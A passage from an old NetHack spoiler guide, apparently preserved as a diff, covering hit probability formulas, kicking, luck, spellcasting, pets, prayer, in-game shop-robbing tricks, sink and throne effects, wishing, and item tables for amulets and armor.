hear the wailing of the Banshee." - you have 1 HP left +"You hear a rushing sound." - an invisible swallower just missed + you + + * Lycanthropy means that you will periodically change into a were-thing. + +----------------------------------------------------------------------------- +Hit Probability: + +Computing your probability to hit a monster involves many variables, and is +quite a complicated procedure (which is why the computer does it so much +better). However, here is an outline of how you can figure out your +probability of hitting a given monster with a given weapon... + +First of all, compute your chance to hit by using the following formula: + + character luck + + character level + + monster AC (see MONSTER INFORMATION section) + + dexterity bonus (see chart) + + strength bonus (see chart) + + level bonus (see chart) + + special bonuses (see chart) + + to hit modifier (see chart) + + weapon enchantment (see explanation) + + relative hit bonus (see explanation) + - weight modifier (see formula) + ------------------------------------------------------------------- + chance to hit + +The chance to hit is out of twenty. Thus, to determine your percentage +chance of hitting, use the following formula: + + percent chance to hit = 100 * (chance to hit) / 20 + + +------------------ --------------------- ------------------ +| Dex |Bonus| | Str |Bonus| | Level | Bonus | +|----------------| |-------------------| |----------------| +| 01-03 | -3 | | 01-05 | -2 | | 01-03 | +2 | +| 04-05 | -2 | | 06-07 | -1 | | 04-05 | +1 | +| 06-07 | -1 | | 08-16 | 0 | | 05-30 | 0 | +| 08-13 | 0 | | 17-18/50 | +1 | ------------------ +| 15 | +1 | | 18/51-18/99 | +2 | +| 16 | +2 | | 18/**-25 | +3 | +| 17 | +3 | --------------------- +| * | * | * Both the Dex and the bonuse just keep increasing +| 25 | +11 | by one until the hit maximum at 25 and +11. +------------------ + +------------------------------------------------------------ +| Special bonuses: | Bonus | +|----------------------------------------------------------| +| character is an elf and monster is an orc | +1 | +| character is trapped | -3 | +| monster cannot move | +4 | +| monster is fleeing | +2 | +| monster is sleeping | +2 | +| monster is stunned | +2 | +------------------------------------------------------------ + +------------------------------------------------------------ +| To hit modifier: | Bonus | +|----------------------------------------------------------| +| athame | +2 | +| crysknife | +3 | +| dagger (elven/orcish) | +2 | +| dwarvish mattock | -1 | +| katana | +1 | +| scalpel | +2 | +| two handed sword | -1 | +| blessed weapon vs. undead or demon | +2 | +| spear (elven/orcish/dwarvish) or javelin vs. | | +| xorn, dragon, naga, or giant | +2 | +------------------------------------------------------------ + +Weapon enchantment: This is whatever the "plus" on the weapon is. For +instance, if it's a +3 crysknife, add +3 for the weapon enchantment. + +Relative hit bonus: The relative hit bonus is only figured in for artifacts +(named weapons). See the section on ARTIFACTS to look up the relative hit +bonus on a named weapon. + +Weight modifier: the weight modifier is computed as follows (to determine +carrying capacity, see the section on CARRYING CAPACITY, and to determine +weight you are carrying, total the weights of all items in your inventory): + (weight you are carrying - carrying capacity + 40) / 20 + +----------------------------------------------------------------------------- +Kicking: + +Kicking is one of the more useful functions in nethack. Basically, you can +kick any creature or object within the game. You cannot, however kick +anything if you are polymorphed into a monster with no legs (a snake, for +instance) or a monster that is too small, if your legs are wounded, if your +load is too heavy, or if you are stuck in a pit or bear trap. The effects of +kicking certain things are listed below (although be careful - kicking things +can make a lot of noise and wake up monsters on the level): + +Altars - kicking an altar is, in general, a bad idea. Deities can do all +sorts of nasty things to you if you get them pissed off. + +Doors - if a door is locked and you don't have a lock-pick, one way to get +through the door is to kick it down. Watch out for lost hit points and +wounded legs if you do this, though. Similarly, it is possible to kick down +a secret door, even if you haven't found it. So... if you're pretty sure +there's a secret door there, and you haven't found it after the last five +searches, you might want to try kicking it a bit. + +Chests - it is possible to break the lock on a locked chest by kicking it. Of +course, it is also possible to lose hit points and damage your legs by doing +so, so be careful to keep on eye out when at lower experience levels. + +Empty space - kicking at empty space isn't terribly smart. Although you +probably will get away with it, you do have a chance of straining a muscle, +which wounds your right leg. + +Monsters - in general, when you kick a monster you will damage it. Kicking a +monster is a good alternative if you have no weapon. It is also a good +alternative if you are confused, as you will not then randomly wander around +if you miss the monster aimed at. There are however a few exceptions to the +rule with kicking monsters... notably, kicking dragons and other thick- +skinned creatures will do no damage. + +Objects - in general, when you kick an object, it will move in the direction +in which you kick it. The distance it moves will depend on your strength and +the weight of the object. Fragile objects are not good to kick. For +instance, kicking an egg will cause it to go splat, and kicking a potion will +generally break it. Of course, this can be a way of identifying potions, as +you will then get the vapor effect if the potion has any. + +Sinks - kicking a sink will produce various effects. 75% of the time, you +will merely get the message "Klunk! The pipes vibrate noisily." (or just +"Klunk!" if you're blind). Otherwise, there is a 1/3 chance of having a +black pudding ooze up from the drain and attack you (assuming they haven't +been genocided yet). If this doesn't happen, you have a 1/3 chance of "the +dish washer" returning. It just so happens that the dish washer is a +succubus/incubus, however, so you might want to watch out for this. Assuming +that doesn't happen, you've got a 1/3 chance that a ring (only one per sink) +will pop up from the drain in a bunch of muddy waste. + +Thrones - kicking a throne can have several effects. If your luck is +negative, you will always end up destroying the throne and finding several +gold pieces in the rubble (probably after a few sore toes, however). If your +luck is positive, you have a chance of kicking loose some ornamental coins +and gems instead. + +----------------------------------------------------------------------------- +Luck: + +Your luck begins at 0, (+/-1 depending on the moon), and can range from -10 +to +10. When modified, it will decrease or increase (time-out) by 1 toward +its starting value every 600 moves (300 for angry gods) unless you're +carrying a luckstone (see TOOLS for more information about luckstones). +While carrying a luckstone it is still possible to change your luck. + +Increasing Luck + +1. Throw a gem at a unicorn. + +5 luck if the jewel is identified and the unicorn is co-aligned. + +1 luck if the jewel is unidentified. + -3 to +3 luck if the jewel is identified and the unicorn is non-co- + aligned. +2. Sacrifice on a co-aligned altar. + +0 to +5 luck if the sacrifice is accepted, depending on monster + difficulty factor. Seeing a four-leaf clover is a sign that your luck + has improved. + =0 if your luck is negative luck your god is not angry. + +1 luck if your luck is negative and your god is angry. +3. Sacrifice on a non-co-aligned altar. + +1 if your luck is negative, the sacrifice is accepted and your god is + not angry. Chance of success is (3 + exp. level) / (8 + exp. level) +4. Sacrificing a human corpse at a chaotic altar. + +2 luck if you are chaotic too. +5. Sitting on a throne. + +1 luck if your luck is negative (sometimes). +6. Prayer. + =0 if your luck is negative and your god is not angry (small chance) + +Decreasing Luck + +1. Killing a co-aligned unicorn. + -5 luck no matter what. +2. Sacrificing a human. + -5 luck if you are non-chaotic. +3. After converting to a new god, trying to sacrifice at the altar of your + original god. Conversion is accomplished by sacrificing at a non-co- + aligned altar while your god is angry. + -5 luck no matter what. +4. Converting to a new god. + -3 luck always. +5. Praying before your between prayer time-out expires. + -3 luck. Moral: don't pray too often. +6. Breaking a mirror. + -2 luck. (It figures, doesn't it?) +7. Killing a friendly human. + -2 luck always. +8. Killing a pet (or other tame monster). + -1 luck each time. +9. Desecrating (kicking or digging) a co-aligned altar. + -1 luck (Ouch!) +10. Killing a peaceful monster. + -1 luck (50% chance). +11. Sacrifice at a non-co-aligned altar. + -1 luck if you fail and your god is not angry. Chance of success is (3 + + exp. level) / (8 + exp. level). +12. Hitting a blind monster. + -1 luck (0.2% chance). + +Robbing shops does not lower your luck. + +----------------------------------------------------------------------------- +Magic: + +Many people have asked for a section which details information about how the +reading of spellbooks and casting of spells works. Well, here it is! + +Memorizing spellbooks: If the spellbook is cursed, it will be impossible to +memorize under any conditions. Otherwise, the following test must be passed +in order to successfully memorize a spellbook: + + (your intelligence + 4) + + (your experience level / 2) + - (2 * the spell level of the spellbook) + ------------------------------------------------------------------------ + Must be greater than a randomly generated number from 0 to 20. + +The possible effects from failing to memorize a spellbook are as follows +(chances of each effect are equal): + +1. Your character is teleported. + "You feel a wrenching sensation." +2. Your character gains the aggravate monster intrinsic. + "You feel threatened." +3. You are blinded for 250 to 349 turns. +4. You lose all of your gold. + "You realize that you have no gold." +5. You become confused for 16 to 22 turns. + "These runes were just to much to comprehend." +6. Poison! Gloves, if being worn, are corroded (assuming they're not + rustproof) by 1 (i.e. +2 gloves become +1, +0 gloves become -1. -2 is + the worst your gloves will corrode to). If you are poison resistant, + you will lose 2 points of strength and 1 to 6 hit points. Otherwise, + you will lose 3 to 6 points of strength and 1 to 10 hit points. + "The book was coated with contact poison!" +7. The book explodes, doing 7 to 25 points of damage. If you are magic + resistant, no damage ensues. + "As you read the book, it explodes in your face." + +When a spellbook is successfully memorized, it is placed in the list of +spells that you know. You will then be able to use that spell (i.e. cast or +attempt to cast it) from 2 to (10 - the spell level) times before you will +need to "re-memorize" the spell by reading another spellbook of that type. + +Casting memorized spells: Attempts to cast a spell while you are confused +will always fail. Otherwise, in order to successfully cast a spell, the +following test must be passed: + + your intelligence + + your luck + - (3 * the level of the spell) + ------------------------------------------------------------------------ + Must be greater than or equal to 0. + +If a spell is successfully cast, the appropriate effects take place and a +number of energy points equal to the level of the spell is removed from your +current EP. + +If the spell is failed, a number of energy points equal to the level of the +spell is still removed from your current EP, and the following message is +given: + "The air around you crackles as you goof up." or + "Far out... a light show!" (if you are hallucinating) + +----------------------------------------------------------------------------- +Pets: + +Pets are one of the most useful things in the dungeons and so should be +treated as such. Here are a few useful hints regarding pets: + +They will eat only what they need in order to survive and will leave food +rations alone unless they are very hungry or you throw them one. + +Pets will become violent if they are too hungry, or if you leave them on a +level, go down the stairs and them come back later. + +You can actually chat with your pets to gain knowledge about how hungry they +are. + +"You feel worried about your [pet]" means that your pet is starving. "You +have a sad feeling for a moment" means that your pet has snuffed it. "You +hear noises in the distance" means that your pet is in battle. + +Kittens change into housecats and then large cats, whereas little dogs become +dogs, and then large dogs. + +Watch out when you are confused, blind, etc. You do not want to accidentally +kill your pet. + +The minute you eat a dog or cat, every non-tame, non-peaceful monster that is +on the level will head for you with blood in its eye(s). That is, you gain +an intrinsic: Aggravate monster + +What monsters your pets will attack is directly dependent on the level of the +pet and the level of the monster. Pets will not attack monsters more +powerful than them. The one exception is if you have on a ring of conflict. +If so, your pets will attack anything. (Ever seen a minotaur make doggie +pancake? Moral: keep your ring of conflict off if you're near a big nasty.) + +If you think your pet is a bit wimpy, use a wand of polymorph on him. If +this makes him wimpier, don't blame us - try again! + +A scroll of taming can create more pets for you, but having devils as pets +can be a minor problem (although not as much of a problem in current +versions). + +If you meet a wild pet, the best bet is to throw food at it - anything you +could eat. Tripe is wonderful, but don't bother throwing rotted corpses. + +You can even tame pets with names given by other people, i.e. bones levels. + +A leash will allow you to keep the animal with you at all times (even if you +get teleported or go through a trap door), but also tends to make him get in +your way more often. + +A whistle will attract your pet to you when applied. Even better, a magic +whistle will teleport your pet to your side when applied. Very useful when +going up or down levels with your pet. + +Pets will not pick up cursed objects or even cross over them, which will help +you to avoid these items. However, keep in mind that you may have to clear +cursed items from halls if you want your pet to follow you, and that if you +throw a food item (especially tripe) on a cursed item, your pet will be +trained to step on cursed items in the future. A warning: dead-end corridors +can be very bad if there is a cursed item in the exit and the pet is between +you and the cursed item (this can happen if your pet kills a creature that +was carrying a cursed item). + +----------------------------------------------------------------------------- +Praying: + +Praying can get you out of a lot of jams in the game of nethack, if your god +is pleased with you. On the other hand, if the gods are angry at you, you +can get into an awful lot of trouble. + +If your deity is pleased with you, chances are that your worst problem will +be fixed, although all of your problems could be fixed, or none of them might +be fixed (this is dependent on your luck). The following are problems that +your deity might fix, from worst (in the deity's eyes, not necessarily +yours!) to least: + +1. You are turning to stone. +2. You are being strangled (by an amulet of strangulation). +3. You are sick. +4. You are starving. +5. Your hp are below 5, or your hp are below 1/7 of max. +6. You have lycanthropy. +7. You are stuck in a wall. +8. You are wearing a cursed item which levitates you. +9. You are wearing a cursed blindfold. +10. You are being punished. +11. You have a cursed loadstone or cursed luckstone. +12. You are wielding/wearing a cursed weapon/armor. +13. You are blind. +14. You are hungry. +15. You are poisoned. +16. You have wounded legs. +17. You are stunned. +18. You are confused. +19. You are hallucinating. + +----------------------------------------------------------------------------- +Removing Curses: + +There are several ways to uncurse cursed items - and several other ways to +get rid of cursed items: + +1. Dipping in fountains will eventually remove the curse from stuff - "The + water glows for a moment" indicates that your item has been uncursed. + You can dip items even if you are wearing them. + +2. Reading a scroll of remove curse will remove the curse from stuff you are + wearing. If the scroll of remove curse is blessed, everything in your + pack will be uncursed. + +3. If you have good relations with your god, your god will uncurse things you + are wearing, and occasionally will remove the curse from items in your + pack. This will happen when you pray. + +4. Reading an uncursed scroll of enchant armor/weapon will remove the curse + from the armor/weapon that gets enchanted. Similarly, reading a blessed + scroll of enchant armor/weapon will bless the armor/weapon that gets + enchanted. + +5. Dipping cursed items in holy water will uncurse them. + +6. A wand of cancellation will remove the curse from all items in your pack + if you zap yourself with it. Note, however, that it will also remove + all enchantments and names (i.e. Stormbringer) on all items in your + pack. + +7. Try having a monster steal your cursed items. Nymphs will steal cursed + armor and weapons. Be sure that you have dropped everything else, + however, before trying this. Succubi/incubi will also remove cursed + armor sometimes. + +8. An uncursed or blessed scroll of destroy armor can be used to destroy + cursed armor. Be sure to take off all your other armor before reading + the scroll. + +9. Polymorphing yourself into a monster that can't wear armor or use a weapon + will cause you to fall out of your armor (or it may destroy your armor + altogether) and/or drop your weapon. + +10. For those that enjoy risks, rarely, very rarely, a magic trap will inform + you that 'You feel that someo + +----------------------------------------------------------------------------- +Robbing Shops: + +Here we have outlined a few of the standard ways of robbing a shop. Some of +them let you get away with it scott-free. Others will send the keystone kops +after you. Some will even allow you to keep robbing the shop and selling the +stuff back to the shopkeeper until you have all his money! Experiment with +these and have fun! + +For reference, in all the diagrams: + @ = shopkeeper + X = you (for clarity) + f = cat (or whatever pet you may have) + P = pile of goodies (also for clarity) + K = Keystone Kops (after you robbed the shop) + +Method One: Pile everything in the shop up and teleport it out with a wand +of teleport. This scatters the items on the level for you to find. + + Enter the shop... Make a pile... Poof! + ------------- ------------- ------------- + |!!$%%[))...|# |...........|# |.........@.|# + |$+$$(![[.@.X# |P....f....@-# |...........-# + |+$%]**!$...|f### |.X.........|#### |.X...f.....|#### + ------------- ------------- ------------- + +Method Two: Dig a hole in the wall with a wand of digging or any other handy +method of digging, and then kick the stuff out. Two notes, here: 1) kicking +potions, eggs, or other fragile items will destroy them. 2) You cannot just +kick an item out of the shop - if you do so, the shopkeeper will charge you +for it. You have to be outside the shop (i.e., in the wall) while you're +kicking it out of the shop. + + Get positioned... Dig... # Make a pile... + ------------- ----------.-- ----------X-- + |!!$%%[))...|# |!!$%%[))...|# |!!.f......P|# + |$+$$(![[.@.-# |$+$$(![[.@..f |.....!....@.# + |+$%]**!$...|Xf## |+$%]**!$...|X### |......!....|#### + ------------- ------------- ------------- + + Kick... # You're rich! + ----------X-- ----------.-- + |!!.........|# |!!........f|# + |.....!....@P# |.....!.....X# + |......!f...|#### |......!..@.|#### + ------------- ------------- + +Method Three: Dig a hole in the wall of the shop. Then dig a hole just +outside of the shop (by specifying '>' for the digging direction), falling +through to the next level. Trek back up to the shop, grab everything you can +carry, walk out of the shop, onto the hole, and hey presto! You're on the +next level with all the loot, and the Keystone Kops and shopkeeper are still +back on the previous level. If you don't fall through the trapdoor, don't +worry - just hit '>' to go down through the hole you made. + + X Dig out... ^ Make a pit... ^ Grab stuff... + -.----------- -.----------- -.----------- + |!!$%%f))...|# |!!$%%[))...|# |Xf.........|# + |$+$$(![[.@.-# |$+$$(![[.@.-# |..........@-# + |+$%]**!$...|#### |+$%]**!$...|#### |...........|#### + ------------- ------------- ------------- + + X Walk onto pit... ^ You're rich! (and gone!) + -f----------- -.----------- + |...........|# |......@.K..|# + |..........@-# |.K...KK..K.-# + |...........|#### |..KK...K...|#### + ------------- ------------- + +Method Four: Polymorph the shopkeeper into something easier to handle (with +a wand of polymorph) and then kill him/her. Of course, once the shopkeeper's +gone, you can take what you like, including his or her gold! + + Enter the shop... Polymorph... Kill shopkeeper! + ------------- ------------- ------------- + |!!$%%[))...|# |!!$%%[))f..|# |!!$%%[)f...|# + |$+$$(![[.@.X# |$+$$(![[..s-# |$+$$(![[...-# + |+$%]**!$...|f### |+$%]**!$.X.|#### |+$%]**!$.X.|#### + ------------- ------------- ------------- + +Method Five: If you do not happen to have any props (wands, etc), and have a +ration (especially tripe) or two, then this method is for you. It is also +the most common: train your pet. Basically, if your pet drops an item right +in front of the door to the shop, you can pick it up for free. Throw him +food, and he'll keep on doing it! + + Throw pet food and + Let pet in shop... It brings item... take item - it is free! + ------------- ------------- ------------- + |!!$%%[))*..|# |!!$%%[))...|# |!!$%%[))...|# + |$+$$(![[]f.X# |$+$$(![[]f*X# |$+$$(![[].X-# + |+$%]**!$(.@|### |+$%]**!$(.@|### |+$%]**!$(f@|### + ------------- ------------- ------------- + +Method Six: Teleport out. Grab everything in the shop and then teleport the +heck out of there. This is especially effective if you have teleport control +and know where the stairway is. It's even better if you have your pet on a +leash, or a magic whistle, so you don't have to worry about leaving your pet +behind. But note - the Kops and the shopkeeper will be after you. + + Enter the shop... Grab everything... Poof! + ------------- ------------- ------------- + |!!$%%[))...|# |...........|# |..K....K.@.|# + |$+$$(![[.@.X# |.....f....@-# |...K.KK....-# + |+$%]**!$...|f### |.X.........|#### |.....f..KK.|#### + ------------- ------------- ------------- + +Method Seven: Push a boulder into the shop, then use the boulder to block +the door. Once the door is blocked, rip off everything in the shop and then +teleport out. Although the Kops will be after you, you won't have to deal +with a pissed off shopkeeper. + + Push in a rock... Keep on going... Push it back... + ------------- ------------- ------------- + |!!$%%[))..@| |!!$%%[))..@| |!!$%%[)).@.| + |$+$$(![[...-'Xf# |$+$$(![[.'X-f### |$+$$(![[..X'f### + |+$%]**!$...| |+$%]**!$...| |+$%]**!$...| + ------------- ------------- ------------- + + Grab everything... Poof! + ------------- ------------- + |...........| |.KK.....KK.| + |..........@'f### |.....K....@'#### + |.X.........| |...K..K....| + ------------- ------------- + +----------------------------------------------------------------------------- +Sink Effects: + +There are basically three things that you can do with a sink. You can kick +it (which is detailed under KICKING), you can quaff from it, or you can drop +a ring down it. + +Quaffing from a sink + +----------------------------------------------------------------------------- +|Chance | Effect | +|---------------------------------------------------------------------------| +| 6/20 | "You take a sip of [cold/warm/hot] water." | +| | No effect. | +| | | +| 1/20 | "You take a sip of very cold water." | +| | No effect. | +| | | +| 1/20 | "You take a sip of very warm water." | +| | No effect. | +| | | +| 1/20 | "You take a sip of scalding hot water." | +| | "It seems quite tasty." (if fire resistant) | +| | You will lose 1-6 hp unless you are fire resistant. | +| | | +| 1/20 | "Eek! There's a sewer rat in the sink!" | +| | "Eek! There's something squirmy in the sink!" (if blind) | +| | "The sink seems quite dirty." (if sewer rats have been | +| | genocided) | +| | A sewer rat will be created adjacent to the sink. | +| | | +| 1/20 | "The sink emits a stream of [color] water." | +| | Will have the effect of a potion of the same color, sometimes | +| | allowing you to identify a potion type. | +| | | +| 1/20 | "You find a ring in the sink!" | +| | "Some dirty water backs up in the drain." (if ring already found | +| | in sink) | +| | You can find up to one random ring in each sink. | +| | | +| 1/20 | "The pipes break! Water spurts out!" | +| | The sink will turn into a fountain. | +| | | + | +| 1/20 | "The water moves as though of its own will!" | +| | "But it quiets down." (if water elementals are genocided) | +| | Creates a water elemental adjacent to the sink. | +| | | +| 1/20 | "Yuk, this water tastes awful." | +| | You will gain a few experience points. | +| | | +| 1/20 | "Gaggg... this tastes like sewage! You vomit." | +| | You vomit, making you slightly more hungry. | +| | | +| 1/20 | "This water contains toxic wastes! You undergo a freakish | +| | metamorphosis!" | +| | You will be polymorphed into a random creature. | +| | | +| 1/20 | "You hear clanking from the pipes...." | +| | No effect. | +| | | +| 1/20 | "You hear snatches of song from among the sewers..." | +| | No effect. | +| | | +| 1/20 | "A murky hand reaches up out of the drain." (only if | +| | hallucinating) | +| | No effect. | +----------------------------------------------------------------------------- + +Dropping a ring down a sink (Note - approximately 95% chance of losing ring): + +----------------------------------------------------------------------------- +|Drop this ring in sink. | Get this effect... | +|---------------------------------------------------------------------------| +|Adornment | The faucets will flash brightly for a moment. | +|Aggravate Monster* | Several flies buzz angrily from the sink | +|Cold Resistance | The cold faucet flashes brightly for a moment. | +|Conflict* | You here loud noises coming from the drain | +|Heat Resistance | The hot faucet flashes brightly for a moment. | +|Hunger | All items on the same square as the sink will be | +| | "eaten" (i.e. will disappear). | +|Increase Damage* | The water's force seems [greater/smaller], | +| | depending whether the ring is plus or minus. | +|Invisibility | You don't see anything happening. | +|Levitation* | The sink quivers upward for a moment. | +|Poison Resistance* | You smell rotten [fruit]. | +|Polymorph | The sink momentarily looks like a fountain. | +|Polymorph Control | The sink momentarily looks like a regularly | +| | erupting geyser. | +|Protection | Ring glows [silver/black], depending on blessed | +| | cursed state. | +|Prot frm Shape Changers | The sink looks nothing like a fountain. | +|Regeneration | The sink looks as good as new. | +|Searching* | You thought you lost your ring down the sink, | +| | but there it is! (You won't lose the ring.) | +|See Invisible | You see some air in the sink. | +|Shock Resistance* | Static electricity surrounds the sink. | +|Stealth | The sink seems to blend into the floor for a | +| | moment. | +|Strength* | Waters flow seems [stronger/weaker], depending | +| | whether the ring is plus or minus. | +|Teleport | The sink disappears momentarily. | +|Teleport Control | The sink looks like it is being beamed up. | +|Warning | The sink glows [color]. | +----------------------------------------------------------------------------- + +* These rings can be identified without the benefit of eyesight. + +----------------------------------------------------------------------------- +Survival: + +If you are low on hit points, or are worried about the zoo that you just +stumbled across while blind and confused, there are two primary methods to +survive beyond running away: engraving Elbereth and a scroll of scare +monster. As an interesting note, if you happen to get the message "This +water gives you bad breath," you will scare monsters near you away (due to +your awful halitosis). + +Engraving Elbereth + +If you engrave "Elbereth" in the dust and keep standing on it, most monsters +will not attack you. Note that humans, elves, soldiers, shopkeeper, etc. (in +short, all @'s) will not regard Elbereth, and other monsters may throw things +at you. Dragons can also still use their breath weapons against you. If you +swing at them or throw things at them you will scuff out the engraving, +allowing them to attack. Also, in most cases the writing will eventually +fade out. How long it takes to fade or scuff is dependent on what you used +to engrave. Your fingers will do, but not for long. A weapon is really +good, but you tend to dull blades that way ( athames will not dull from +engraving). Some wands, magic markers, and other objects can also be used to +engrave, although it will take a charge to do so (wands of fire or digging +are excellent for engraving, for instance). The trick here is to levitate, +which will prevent you from scuffing the writing. + +Scare monster + +Monsters (this does not include humans) will not cross a scroll of scare +monster. Thus, you can stand on it, and they will not attack you (similar to +Elbereth), or you could drop it in a doorway, and the monsters would not come +through (good way to cork the bottleneck of a zoo). + +Every time you drop/pick up a scroll of scare monster it moves toward a +cursed state. Drop a blessed scroll, pick it up it is uncursed. Drop that +uncursed scroll, pick it up it is cursed. Drop that cursed scroll, pick it +up it turns to dust. (Incidentally, placing a scroll of scare monster in a +chest and then picking it up later will not change its status.) Thus, if you +pick up a scroll that turns to dust, it is a worn out scare monster scroll. +One neat trick is to keep blessing the scroll after you use it, so that you +can use it over and over again. + +Note: Minotaurs are the exception to the rule. Standing on a scroll of +scare monster or engraved Elbereth does nothing to stop them from attacking +you. + +----------------------------------------------------------------------------- +Throne Effects: + +When you sit upon a throne, you have a one in six chance of having some +effect take place (no effect = "You feel out of place..."). The effects +which can take place are as follows (equal chances): + +1. You lose 3-6 points from a random attribute, and lose 1-10 hp. +2. One point is added to random attribute. +3. You lose 1-6 hp if shock resistant. Otherwise you lose 1-30 hp. + "A [massive] charge of electricity shoots through your body!" +4. If your hit points are within 5 of max, add 4 to your max. Your hit + points are raised to max, and blindness, sickness, and bad legs will all + be healed. + "You feel much, much better!" +5. You will lose all of your gold. + "You notice you have no gold." + "You feel a strange sensation." (if you have no gold) +6. If your luck + random of [0-4] is less than 0, your luck will increase by + one. Otherise, you can wish for an item. + "You feel your luck is changing." +7. This one's rather obvious: lots of nasties will get summoned. + "You hear a voice echo: 'Thy audience has been summoned, Sire!'" +8. You will be given the boon of genociding one creature. + "You hear a voice echo: 'By thy imperious order, Sire!'" +9. If your luck is greater than zero, you will be blinded for 250-349 turns. + Otherwise a random item you possess will be cursed. + "You hear a voice echo: 'A curse upon thee for sitting upon this most + holy throne.'" +10. If your luck is less than zero or you have the intrinsic see invisible, + the level will be magically mapped for you. Otherwise, you will gain + the intrinsic of see invisible. + "An image forms in your mind." + "Your vision clarifies." +11. If your luck is less than zero, you will gain the intrinsic of aggravate + monsters. Otherwise, you will be randomly teleported on the level. + "You feel threatened." + "You feel a wrenching sensation." +12. One or more items in your pack will be identified. + "You are granted a gift of insight." +13. You will become confused for 16 to 22 turns. + "Your mind turns into a pretzel." + +----------------------------------------------------------------------------- +Unicorn Horns: + +When a)pplied, an uncursed or blessed unicorn horn can do any or all of the +following: cure blindness, stop confusion, stop hallucination, cure +sickness, stop stunning, or restore ability. Note that if the unicorn horn +is cursed, these effects will be reversed. + +You can #d)ip a unicorn horn in a potion, and if the potion is a potion of +confusion, hallucination, or sickness, the potion will become a potion of +water. If it says, "Interesting," the potion is of another type. + +Unicorn horns will not rust, and they enchant well, so they make ideal +weapons, especially against rust monsters, acid blobs, etc. + +----------------------------------------------------------------------------- +Wishes: + +There are five ways to get wishes. These are: + +1. A wand of wishing (Note for poly-pilers here: It is no longer possible + to polymorph another wand into a wand of wishing.) +2. A magic lamp - djinni appears and is grateful for his release (Also no + longer possible to create via a polymorph.) +3. A fountain - water demon appears and is sometimes grateful for his release + (see FOUNTAIN EFFECTS for more information). +4. Occasionally, a glowing potion will have a djinni in it who is grateful + for his release. +5. Sitting on a throne can occasionally give you a wish. (See THRONE + EFFECTS) + +To wish effectively, you should wish for an item (or items) that can +(literally) be placed in your inventory. You could wish for a "wide sword" +and get one. Better yet, you could wish for a "+3 wide sword" and you would +at least get a wide sword. Whether you get the asked for enchantments +depends on a random factor. You may wish for an enchantment as high as you +want, but your chances of getting it go exponentially downwards after +3, and +to zero after +5. Thus, you're better off wishing for "+2 gray dragon scale +mail" than let's say "blessed +4 gray dragon scale mail." In either case you +would get at least +0 gray dragon scale mail (although it might be cursed). +If the item is one that often comes in multiples (scrolls or potions, for +example) instead of having an enchantment, you can wish for several (i.e. 3 +scrolls) and have a good chance of getting them. The exceptions to this rule +are gold, which you can wish for a lot of, and rocks, which you can wish for +as many as you like. + +The general modifiers to use when wishing are, of course, "blessed," +"uncursed," and "cursed." A specific modifier for small missile weapons is +"poisoned" (as it appears in your inventory). Also there are named weapons +(artifacts), as in a "blessed +3 wide sword named Stormbringer." + +Here's a few useful items and the exact wording you need to use to get them: + + "blessed +3 war hammer named Mjollnir" + "blessed +3 broadsword named Stormbringer" + "blessed +3 katana named Snickersnee" + "blessed +3 long sword named Excalibur" + "blessed +3 gray dragon scale mail" + "blessed +3 helm of telepathy" + "blessed +3 pair of speed boots" + "blessed +3 gauntlets of power" + "blessed +3 shield of reflection" + "blessed +3 cloak of displacement" + "blessed +3 Hawaiian shirt" + "blessed amulet of life saving" + "3 blessed potions of gain ability" + "3 blessed scrolls of genocide" + "3 cursed scrolls of genocide" (caution is advised) + "blessed spellbook of identify" (you never get more than one spellbook) + "blessed ring of levitation" + "wand of polymorph" + "blessed tinning kit" (makes blessed tins) + "figurine of a gray dragon" (for that pet gray dragon you always wanted) + + + ---------------------------------------------------------- + | The Items | + ---------------------------------------------------------- +----------------------------------------------------------------------------- +Amulets: + +Note: for all item lists, the "Prob" column lists the relative probability +of that particular item being randomly generated (when a level is created, a +monster is killed, an item is polymorphed, etc.). + + Name Effect Prob Weight +-------------------------------------------------------------- +| amulet of change | Polymorph (change sex) | 150 | 2 | +| amulet of esp | Telepathy | 190 | 2 | +| amulet of life saving | Life saved | 90 | 2 | +| amulet of reflection | Reflecting | 90 | 2 | +| amulet of restful sleep | Sleep | 150 | 2 | +| amulet of strangulation | Strangled | 150 | 2 | +| amulet versus poison | Poison resistance | 180 | 2 | +| Amulet of Yendor | ----- | 0 | 0 | +-------------------------------------------------------------- + +Amulet of esp - gives intrinsic telepathy. +Amulet of life saving - will save your life once. After you die it brings + you back up to max hp. Note that if you choke on something while + wearing one of these, you're liable to keep right on eating and choke + again. Also, this won't save you if you genocide whatever you are. +Amulet of Yendor - no effect from wearing. When in your possession prevents + level teleport, often prevents normal teleports, randomly maps out + blocks of level around you, and causes spell casting to take more + energy. +Amulet of restful sleep - waits many turns, and then causes you to go to + sleep (against your will). + +----------------------------------------------------------------------------- +Identifying Amulets: + +Identifying amulets is a process of elimination, starting with determining +whether or not the amulet is cursed. Determining whether it's cursed is easy +enough if you're a priest or have a pet on hand. If the amulet is cursed, +don't wear it - there are too many nasty things cursed amulets can do. If +the amulet isn't cursed, it's probably either an amulet of esp, life saving, +reflection, or versus poison. However, watch out - amulets of change often +aren't cursed. So, if you don't mind risking the possibility of changing +sexes (and character name), try it on and see what it does. To see if it's +an amulet of esp, get blinded (put on a blindfold, quaff a potion of +blindness, etc.). If you can suddenly see all the monsters on the level, +that's what it is. Next, find a room away from all the monsters, and zap a +wand at the wall so that it bounces at you (do this with a wand that you're +immune to, or something non-harmful like a sleep ray). If your medallion +reflects the ray, it's an amulet of reflection. Finally, try eating +something poisonous. If it doesn't do you any harm, it's vs. poison. If +none of these are the case, you know it's an amulet of life saving - one of +the most valuable items in the game. + +----------------------------------------------------------------------------- + +Armor: + AC + Name Description Wt Cost Mod Rust +--------------------------------------------------------------------------- +| banded mail | | 8 | 90 | -6 | Y | +| bronze plate mail | | 9 | 400 | -6 | N | +| chain mail | | 6 | 75 | -5 | Y | +| cloak of displacement | | 2 | 50 | -1 | N | +| cloak of invisibility | | 2 | 60 | -1 | N | +| cloak of magic resistance | | 2 | 60 | -1 | N | +| cloak of protection | | 2 | 50 | -3 | N | +| crystal plate mail | | 9 | 820 | -7 | N | +| dragon scale mail | | 5 | 1000 | -9 | N | +| dwarvish cloak | colorful hooded cloak | 2 | 50 | 0 | N | +| dwarvish iron helm | hard hat | 3 | 20 | -2 | Y | +| dwarvish mithril-coat | | 2 | 240 | -6 | N | +| dwarvish roundshield | large round shield | 4 | 7 | -2 | Y | +| elven boots | | 3 | 8 | -1 | N | +| elven cloak | | 2 | 60 | -1 | N | +| elven mithril-coat | | 2 | 240 | -5 | N | +| elven shield | blue and green shield | 2 | 3 | -2 | Y | +| fumble boots | | 4 | 30 | -1 | N | +| gauntlets of dexterity | | 2 | 50 | -1 | N | +| gauntlets of fumbling | | 2 | 50 